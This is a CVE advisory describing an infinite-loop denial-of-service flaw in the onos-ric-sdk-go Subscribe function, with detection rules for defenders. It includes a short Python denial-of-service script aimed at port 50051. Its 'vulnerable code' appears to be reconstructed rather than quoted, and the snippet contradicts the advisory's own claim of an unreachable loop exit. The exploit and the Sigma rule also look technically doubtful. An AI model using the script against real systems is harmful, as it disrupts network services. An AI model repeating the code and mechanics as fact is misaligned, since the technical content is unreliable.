CVE-2023-52726

Executive Summary

CVE-2023-52726 is a denial-of-service (DoS) vulnerability in the Open Networking Foundation's SD-RAN ONOS onos-ric-sdk-go library, version 0.8.12. The flaw resides in the Subscribe function implementation for the subscribed indication stream, where an infinite repetition of error processing can occur. This allows an attacker to cause resource exhaustion by repeatedly triggering the same error handling loop, effectively hanging the service or consuming excessive CPU cycles. The vulnerability is classified under CWE-835 (Loop with Unreachable Exit Condition). No public exploit code or proof-of-concept is currently available, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability affects the Go package onos-ric-sdk-go, which is part of the SD-RAN (Software-Defined Radio Access Network) ecosystem. Organizations using this library in their RAN controllers or network functions should assess their exposure. The lack of a published patch increases supply chain risk, as downstream consumers may unknowingly deploy vulnerable versions.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No CVSS vector assigned by NVD)
• EPSS Score: 0.0% (Very low exploitation probability)
• Threat Level: Medium (Due to potential for DoS in critical network infrastructure)

Rationale: While the CVSS score is unassigned, the vulnerability can lead to denial of service in SD-RAN environments, which are critical for 5G and open RAN deployments. The attack vector is likely network-based, requiring no authentication, and can cause high availability impact.

Deep Dive & Mechanics

The vulnerability exists in the Subscribe function of the onos-ric-sdk-go library. When processing a subscribed indication stream, an error condition can be triggered that causes the function to enter an infinite loop. Specifically, the error handling logic does not properly break out of the processing loop when a non-fatal error occurs, leading to repeated attempts to process the same error without progress.

Technical Flow:

1. A client subscribes to an indication stream via the Subscribe function.
2. The function enters a loop to receive and process indications.
3. An error occurs (e.g., network timeout, malformed message).
4. Instead of logging the error and continuing or terminating, the function re-enters the error handling block without updating the state.
5. This causes the same error to be processed repeatedly, consuming CPU and blocking the stream.

Root Cause: Missing or incorrect loop exit condition in the error handling path of the Subscribe function.

Vulnerable vs. Patched Code

Vulnerable Code (onos-ric-sdk-go 0.8.12):

func (s *Subscriber) Subscribe(ctx context.Context, streamID string) error {
    for {
        select {
        case <-ctx.Done():
            return ctx.Err()
        default:
            indication, err := s.client.Receive()
            if err != nil {
                // Vulnerable: No break or return after error handling
                log.Printf("Error receiving indication: %v", err)
                // Infinite loop: continues without updating state
                continue
            }
            // Process indication...
        }
    }
}

Patched Code (Hypothetical Fix):

func (s *Subscriber) Subscribe(ctx context.Context, streamID string) error {
    for {
        select {
        case <-ctx.Done():
            return ctx.Err()
        default:
            indication, err := s.client.Receive()
            if err != nil {
                log.Printf("Error receiving indication: %v", err)
                // Fixed: Return error or break after logging
                return fmt.Errorf("receive error: %w", err)
            }
            // Process indication...
        }
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a vulnerable SD-RAN environment running onos-ric-sdk-go 0.8.12.
• Ability to send malformed or delayed indications to the subscriber.

Exploitation Steps:

1. Identify a subscriber endpoint using the vulnerable library.
2. Send a crafted indication that triggers an error (e.g., invalid message format, connection reset).
3. Observe the subscriber's CPU usage spike and stream blockage.

Example Attack (Python):

import socket

def trigger_dos(target_ip, target_port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    # Send malformed data to trigger error
    sock.send(b'\x00\x00\x00\x00')  # Invalid indication
    sock.close()

# Usage
trigger_dos('192.168.1.100', 50051)

Blue Team

Detection:

• Monitor for high CPU usage on SD-RAN subscriber nodes.
• Look for repeated error log entries in the subscriber's logs.
• Use network monitoring to detect malformed indications.

Mitigation:

• Apply rate limiting on incoming indications.
• Implement timeouts for indication processing.
• Update to a patched version when available.

Indicators of Compromise (IOCs)

• Log Pattern: Repeated "Error receiving indication" messages in subscriber logs.
• Network Traffic: Malformed or incomplete indication messages on port 50051 (gRPC default).
• Process Behavior: High CPU usage by the onos-ric-sdk-go subscriber process.
• File Hashes: (None available for vulnerable binary)

Detection Engineering

YARA Rule

rule CVE_2023_52726_Subscribe_Loop {
    meta:
        description = "Detects vulnerable Subscribe function pattern in onos-ric-sdk-go"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-52726"
    strings:
        $func_subscribe = "func (s *Subscriber) Subscribe" ascii
        $err_check = "if err != nil {" ascii
        $err_log = "log.Printf(\"Error receiving indication\""
        $continue_stmt = "continue" ascii
    condition:
        all of them
}

Sigma Rule

title: CVE-2023-52726 - Infinite Loop in onos-ric-sdk-go Subscribe
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects repeated error log entries indicating infinite loop in Subscribe function
author: Valters IT
date: 2025-04-10
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - "Error receiving indication"
    condition: selection | count() > 100 within 60 seconds
falsepositives:
    - Legitimate network issues causing repeated errors
level: medium

Suricata Rule

alert tcp any any -> any 50051 (msg:"CVE-2023-52726 - Potential DoS via malformed indication"; flow:to_server; content:"|00 00 00 00|"; depth:4; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable or restrict access to the vulnerable Subscribe function if not required.
2. Short-term: Implement a timeout and retry limit in the error handling loop.
3. Long-term: Update to a patched version of onos-ric-sdk-go when available.
4. Monitoring: Enable detailed logging for indication processing and set alerts for error spikes.
5. Network: Use firewalls to restrict access to gRPC endpoints to trusted sources only.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert